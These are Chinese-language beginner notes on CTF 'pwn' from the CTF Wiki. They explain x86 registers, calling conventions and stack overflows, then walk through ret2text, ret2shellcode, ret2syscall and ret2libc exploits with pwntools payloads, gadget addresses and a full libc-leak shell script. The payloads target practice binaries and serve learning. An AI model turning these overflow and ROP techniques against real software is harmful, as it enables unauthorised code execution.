wiki笔记 入门专用
CTF pwn wiki by memory
栈介绍
了解汇编常见指令 能加快理解 ropgadget很多作用
C语言函数调用栈
key:程序的执行过程可看作连续的函数调用。当一个函数执行完毕时,程序要回到调用指令的下一条指令(紧接call指令)处继续执行。
函数调用过程通常使用堆栈实现,每个用户态进程对应一个调用栈结构(call stack)。编译器使用堆栈传递函数参数、保存返回地址、临时保存寄存器原有值(即函数调用的上下文)以备恢复以及存储本地局部变量。
1 寄存器
对wiki上内容的理解
存放执行时数据与指令
通用寄存器就是最基础的寄存器,在程序执行的过程中,绝大部分时间多在操作这些寄存器实现指令功能
eax(32位)/rax(64位):
通常用来执行加法,函数调用的返回值一般也放在这里面
ebx(32位)/rbx:
通常用来数据存取
ecx(32位)/rcx:
通常用作for循环的计数器
edx(32位)/rdx(64位):
读取I/O端口时,存放端口号
esp(32位)/rsp(64位):
栈顶指针,指向栈的顶部
ebp(32位)/rbp(64位):
栈底指针,指向栈的底部,用ebp+偏移量的形式来定位函数存放在栈中的局部变量
esi(32位)/rsi(64位):
字符串操作时,用于存放数据源的地址
edi(32位)/rdi(64位):
字符串操作时,用于存放目的地址的,和esi两个经常搭配一起使用,执行字符串的复制等操作
x64架构比X86多了8个新的通用寄存器:分别为r8-r15通用寄存器
在X86时代,函数调用时,通用寄存器少,参数绝大多数时候是通过线程的栈来进行传递(当然也有使用寄存器传递的, 比如著名的C++ this指针使用ecx寄存器传递,不过能用的寄存器毕竟不多)
进入x64时代,寄存器资源富裕了,参数传递绝大多数都是用寄存器来传了。寄存器传参的好处是速度快,减少了对内存的读写次数。
在x86处理器中,EIP(Instruction Pointer)是指令寄存器,指向处理器下条等待执行的指令地址(代码段内的偏移量),每次执行完相应汇编指令EIP值就会增加。ESP(Stack Pointer)是堆栈指针寄存器,存放执行函数对应栈帧的栈顶地址(也是系统栈的顶部),且始终指向栈顶;EBP(Base Pointer)是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址,用于C运行库访问栈中的局部变量和参数。
注意,EIP是个特殊寄存器,不能像访问通用寄存器那样访问它,即找不到可用来寻址EIP并对其进行读写的操作码(OpCode)。EIP可被jmp、call和ret等指令隐含地改变(事实上它一直都在改变)。
不同架构的CPU,寄存器名称被添加不同前缀以指示寄存器的大小。例如x86架构用字母“e(extended)”作名称前缀,指示寄存器大小为32位;x86_64架构用字母“r”作名称前缀,指示各寄存器大小为64位。
2 寄存器使用约定
见wiki
因为寄存器是共用的,所以过程调用中,寄存器中的值可能被不同过程修改。
比如 P 过程调用 Q 过程,Q 过程执行过程中可能修改 P 过程中寄存器所存放的值,因此需要有一个约定让不同过程可以放心的操作寄存器。
这种分类方式下,寄存器可分为两组:
调用者保护寄存器:由调用者(caller)保护的寄存器。在被调用的过程执行结果后,调用者恢复这些寄存器的值,然后再使用。
被调用者保护寄存器:由被调用者(callee)保护的寄存器。在被调用的过程结束前,被调用者应当恢复这些寄存器原来的值(即进入调用前的初始值)。
3 栈帧结构
key:理解 理解过后后面才能看懂
https://wenku.baidu.com/view/19cc0ef687254b35eefdc8d376eeaeaad1f316b8.html
结合文章来看 ,讲得还是很清楚的
4 堆栈操作
看吧
5 函数调用约定
创建一个栈帧的最重要步骤是主调函数如何向栈中传递函数参数。主调函数必须精确存储这些参数,以便被调函数能够访问到它们。函数通过选择特定的调用约定,来表明其希望以特定方式接收参数。此外,当被调函数完成任务后,调用约定规定先前入栈的参数由主调函数还是被调函数负责清除,以保证程序的栈顶指针完整性。
5.1 几种调用约定
自己看
5.2
剩下的看文档
栈溢出
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
这个看不懂就去看前面的东西 已经足够明白了
基本ROP
ret2text
gets()栈溢出 又看到secure函数调用system("/bin/sh")
想办法返回到这个位置即可
首先看s到ebp的的偏移是0x6c
再用4个字符覆盖saved ebp
再加上/bin/sh的retaddr
ret2shellcode
实际情况怎么会给你一个shell
因此我们要自己去填充shell
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
依然是栈溢出 而且将字符串复制到buf2 处(bss段)
看看是否可执行
其次写入shell 控制bss段的shell
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
payload=shellcode.ljust(112,'a')+p32(buf2_addr)
ret2syscall
仍然是栈溢出
gets到ebp的偏移可以得到 但是没有shellcode因此需要
利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
即构造sys_execve
具体见wiki
如何使用构建
1.系统调用号,即 eax 应该为 0xb(sys_execve)
2.第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以
3.第二个参数,即 ecx 应该为 0
4.第三个参数,即 edx 应该为 0
利用ROPgadget的工具查找eax ebx ecx edx的地址,查找/bin/sh和int 0x80的地址
ROPgadget --binary rop --only 'pop|ret' | grep 'eax
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --string "/bin/sh"
ROPgadget --binary ret2syscall --only 'int'
再得到/bin/sh的地址和int0x80的地址
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
根据sys_execve构建payload
payload='a'*108+'aaaa'+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
其中强力推荐一个wp
https://www.cnblogs.com/bhxdn/p/12489812.html
ret2libc
参照wiki3个例题进行讲解
https://zhuanlan.zhihu.com/p/367387964
1
gets()确定为栈溢出之后 先找/bin/sh
再找system 也存在
由此编写paylaod='a'*112+p32(system_addr)+'aaaa'+p32(bin_sh)
其中
elf = ELF("./ret2libc1")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b'/bin/sh'))
当然也可以直接找到地址
2
没有/bin/sh
objdump -d ret2libc2 | grep "plt"
发现gets函数,可以利用gets函数进行读取/bin/sh字符串
读取这个字符串一般放在bss段,利用IDA进行查找
发现0x0804A080处存在一个buf2的buffer
想到ret2shellcode
需要查看其是否可读可写
vmmap查看过后发现可写
因此有两种写法
exp1
需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")
实现堆栈平衡,就是在调用完gets之后要把调用的参数给pop出来,提升栈堆(保持esp和ebp的值不变)再对system进行调用,system调用的时候会有一个返回值,直接拿垃圾字符搪塞一下就好(这道题的堆栈平衡其实没有很明显的必要,但是有一些连续调用多个函数的时候就需要用到这个平衡了)
这里pop什么不重要,ebx可以,eax可以,ecx也可以。最主要是需要移动esp指针,使其+8,上移。
gets_plt_addr=0x08048460
bss_addr=0x0804A080
system_plt_addr=0x08048490
pop_ebx=0x0804843d
payload=flat(['a'*112,gets_plt_addr,pop_ebx,bss_addr,system_plt_addr,'aaaa',bss_addr])
io.sendline('/bin/sh')
如果这个exp理解了的话 那应该就算入门了
exp2
不用pop;ret
直接将gets的返回地址设置为system函数然后
直接写入bss段地址
payload = 'A'*112 + p32(gets_plt_addr) + p32(system_plt_addr) + p32(bss_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
3
/bin/sh和system都无
仍然是栈溢出
wiki上写的比较简单其实是需要深入理解与一下的
一个程序在加载的时候一定会加载__libc_start_main 这个函数
在Libc库中 包含了像system函数和bin/sh字符串这一些玩意和一些其他的函数
但是 Libc的版本是不同的 所以我们要通过随便一个其他函数的后三位真实地址
为什么是后三位?因为程序后三位在加载时是不会变的
先想办法泄露libc地址再获得目标地址
泄露
为获取真实地址需选取溢出之前
获得目标地址
在泄露了Libc版本后 我们就可以使用Libc中的函数之类的东西了 但是我们还是需要计算偏移
Libc偏移 = 源地址 - libc地址
之后 我们再把Libc加上偏移 我们就Getshell了
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#gdb.attach(p)
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
p.sendlineafter("!?",payload2)
p.interactive()